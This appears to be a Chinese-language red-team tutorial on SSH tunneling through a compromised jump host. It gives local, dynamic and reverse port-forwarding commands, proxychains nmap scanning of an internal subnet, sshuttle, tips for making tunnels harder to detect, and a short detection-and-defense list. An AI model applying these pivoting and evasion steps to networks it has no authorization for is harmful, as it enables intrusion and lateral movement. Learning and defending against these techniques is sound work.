写在前面:合法学习边界
隧道只用于授权内网。对非授权网络建立通道可能触犯法律。
一、原理:SSH 隧道为什么好用
SSH 协议默认放行、加密,能借助一台已控主机打通内网,且不需要额外装客户端(多数系统自带 ssh)。
1
2
3
4
| 三种转发:
-L 本地转发:把内网端口映射到本地
-R 远程转发:把本地端口暴露到远程
-D 动态转发:建立 Socks 代理,走整个内网
|
二、影响
1
2
3
| 不用装 frp/EW 也能穿内网(免落地工具)
加密流量更难检测
配合 proxychains 打通内网横向
|
三、使用 / 复现
1. 本地转发(访问内网某端口)
1
2
3
4
| # 把内网 10.0.0.5:3389 映射到本地 13389
ssh -L 13389:10.0.0.5:3389 user@跳板机
# 解释:-L 本地端口:目标地址:目标端口
rdesktop 127.0.0.1:13389
|
2. 动态转发(Socks 代理全内网)
1
2
3
4
5
| # 在跳板机上建立 socks,本地监听 1080
ssh -D 1080 user@跳板机
# 解释:-D 动态转发,相当于 socks5 代理
# 配合 proxychains 访问内网
proxychains4 nmap -sT -Pn 10.0.0.0/24
|
3. 远程转发(目标无法直连我们时)
1
2
3
4
| # 目标机主动连我们的 2222,把它的 22 暴露给我们
ssh -R 2222:127.0.0.1:22 攻击机用户@攻击机IP
# 解释:-R 远程端口:本地地址:本地端口
# 之后我们连攻击机 2222 即到目标的 22
|
4. sshuttle(整段子网代理,更快)
1
2
| sshuttle -r user@跳板机 10.0.0.0/24
# 解释:把内网段全部代理,无需逐个 -L
|
5. 隧道化更隐蔽
1
2
| # 把隧道走代理/开压缩/长连接
ssh -o Compression=yes -o ServerAliveInterval=30 ...
|
四、操作步骤
1
2
3
4
5
| 第 1 步:确认已控主机能连(ssh 可达)
第 2 步:按需求选转发方式(单端口 -L / 全内网 -D / 反向 -R)
第 3 步:建立隧道并本地验证连通
第 4 步:配合 proxychains/sshuttle 横向
第 5 步:用后清理会话
|
五、检测与防御
1
2
3
4
| 异常 SSH 长连接、多个 SSH 隧道特征
连接目标非常规端口
外联 IP 白名单
记录 SSH 会话审计
|
六、小结
SSH 隧道是“零落地、免工具”的内网代理首选:-L 打单个端口、-D 打整个内网、-R 用于目标连不回的场景。它和 frp 互为补充——SSH 适合有 ssh 凭证、frp 适合更复杂的多级隧道。防守重点在异常 SSH 连接与出站策略。